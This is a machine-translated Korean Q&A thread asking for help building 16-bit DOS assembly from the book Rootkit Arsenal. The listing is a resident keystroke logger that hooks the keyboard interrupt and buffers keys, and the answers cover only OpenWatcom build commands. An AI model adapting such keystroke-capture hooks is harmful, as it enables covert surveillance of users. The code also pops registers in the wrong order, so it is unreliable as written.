2012-11-17 2 views
1

open watcom IDE의 서적 루트 키트 arsenal에서 16 비트 어셈블리 코드 조각을 컴파일하려고합니다. "여러 시작 주소를 찾을 수 없습니다"라는 오류가 표시됩니다. 매우 제한된 어셈블리 지식을 가지고 있기 때문에 그것을 분류 할 수 없었습니다. 다음 코드입니다.열린 와콤 오류가있는 16 비트 어셈블리 코드 컴파일 (여러 시작 주소가 있음)

CSEG SEGMENT BYTE PUBLIC 'CODE' 
ASSUME CS:CSEG,DS:CSEG,SS:CSEG 
ORG 100H 


_here: 

JMP _main 
JMP _overData 

_buffer DB 512 DUP('W') 
_terminator DB 'Z' 
_index DW 0H 
_oldISR DD 0H 
_chkISR DD 0h 
_overData: 


_getBufferAddr: 

STI 
MOV DX, CS 
LEA DI,_buffer 
IRET 


_hookBIOS: 

PUSH AX 
PUSH BX 

PUSHF 
CALL CS:_oldISR 

MOV AH, 01H 
PUSHF 
CALL CS:_chkISR 

CLI 
PUSH DS 
PUSH CS 
POP DS 

jz _hb_Exit 
LEA BX,_buffer 
PUSH SI 
MOV SI,WORD PTR[_index] 
MOV DS:[BX+SI],AL 
INC SI 
MOV WORD PTR[_index], SI 
POP SI 


_hb_Exit: 

POP DS 
POP AX 
POP BX 

STI 
IRET 


_install: 

LEA DX,_getBufferAddr 
MOV CX,CS 
MOV DS,CX 
MOV AH,25H 
MOV AL,187 
INT 21H 

MOV AH,35H 
MOV AL,9H 
INT 21H 
MOV WORD PTR _oldISR[0],BX 
MOV WORD PTR _oldISR[2],ES 

MOV AH, 35H 
MOV AL,16H 
INT 21H 
MOV WORD PTR _chkISR[0],BX 
MOV WORD PTR _chkISR[2],ES 

MOV AH,25H 
MOV AL,9H 
MOV CX,CS 
MOV DS,CX 
LEA DX,_hookBIOS 
INT 21H 

RET 

PUBLIC _main 


_main: 

PUSH BP 
MOV BP,SP 
MOV AX,CS 
MOV SS,AX 
LEA AX,_localStk 
ADD AX,100H 

CALL NEAR PTR _install 

MOV AH, 31H 
MOV AL,0 
MOV DX, 200H 
INT 21H 

POP BP 
RET 

PUBLIC _localStk 
_localStk DB 256 DUP(?) 

CSEG ENDS 
END _here 

친절하게 도와주세요.

+0

만 추측하지만, _main', 그것은 자체 라이브러리가있는 표준 라이브러리에 링크되어 있습니까? 나는 여기에'_main'을 만들 이유가 없다. (또는 그 이름을 정직하게 사용하는 것은 정직하다.) –

답변

1

후반 응답에 대한 미안하지만, 난 그냥이 밖으로을 생각하고 비슷한 질문 묻는 또 다른 StackOverflow의 질문에 솔루션을 게시 : 링커가`공공보고 아마 때

Compiling real mode asm (rootkit.arsenal)

0

OpenWatcom을 사용하여 .com 파일을 빌드하는 방법은 wasm을 사용하여 어셈블리 파일을 컴파일 한 다음 wlink를 사용하는 것입니다.

wasm hello.asm 
wlink sys dos com file hello.o 

여기서 오브젝트 파일의 확장자는 .o이며 Linux에서 wasm이 생성하는 것입니다. DOS, Windows 및 OS/2에서는 .obj이므로 시스템에 맞게 명령 줄을 조정하십시오.

처음에는 .model tiny와 .286p를 사용하고 CSEG 및 ASSUME 행은 제외합니다. 나는 그것이 중요하지 않다고 생각한다.